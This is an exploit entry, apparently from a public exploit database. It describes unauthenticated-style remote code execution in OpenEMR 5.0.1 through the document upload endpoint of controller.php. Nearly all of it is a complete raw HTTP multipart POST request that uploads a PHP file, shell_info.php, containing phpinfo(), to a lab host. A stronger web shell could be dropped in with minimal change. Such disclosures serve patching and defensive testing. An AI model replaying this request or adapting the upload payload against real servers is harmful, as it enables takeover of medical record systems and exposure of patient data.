OpenEMR 5.0.1 – ‘controller’ Remote Code Execution
# Exploit Title: OpenEMR 5.0.1 - 'controller' Remote Code Execution # Date: 2020-06-22 # Exploit Author: Emre ÖVÜNÇ # Vendor Homepage: https://www.open-emr.org/ # Software Link: https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads # Version: v5.0.1 # Tested on: Linux # Link: https://github.com/EmreOvunc/OpenEMR_Vulnerabilities # PoC To exploit vulnerability, someone could use 'http://[HOST]/controller.php?document&upload&patient_id=00&parent_id=4&' post request to upload malicious php codes. POST /openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4& HTTP/1.1 Host: [TARGET] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://172.16.155.140/openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4& Content-Type: multipart/form-data; boundary=---------------------------141194333536146869123947219434 Content-Length: 842 Origin: http://172.16.155.140 DNT: 1 Connection: close Cookie: OpenEMR=t1lugo5qrbhv7mc2c3q9ricsnl; TreeMenuBranchStatus=objTreeMenu_1_node_1_9; PHPSESSID=dfhapc4v0bskt7pcpmc2j93agq; LS-VQGNEIWNPEBSNBWE=6rm848pgjj78hhecpb9roo8af1; YII_CSRF_TOKEN=OWYyM0lybGFtRF9wcHRkZ1lldF9WblhoVHlVNk5HRW3WMnZhghJHNtBjyIuALM94Ww3gltGLoeKETBSfevfbCw%3D%3D Upgrade-Insecure-Requests: 1 -----------------------------141194333536146869123947219434 Content-Disposition: form-data; name="MAX_FILE_SIZE" 64000000 -----------------------------141194333536146869123947219434 Content-Disposition: form-data; name="file[]"; filename="shell_info.php" Content-Type: text/php <?php phpinfo(); ?> -----------------------------141194333536146869123947219434 Content-Disposition: form-data; name="destination" -----------------------------141194333536146869123947219434 Content-Disposition: form-data; name="patient_id" 00 -----------------------------141194333536146869123947219434 Content-Disposition: form-data; name="category_id" 4 -----------------------------141194333536146869123947219434 Content-Disposition: form-data; name="process" true -----------------------------141194333536146869123947219434-- |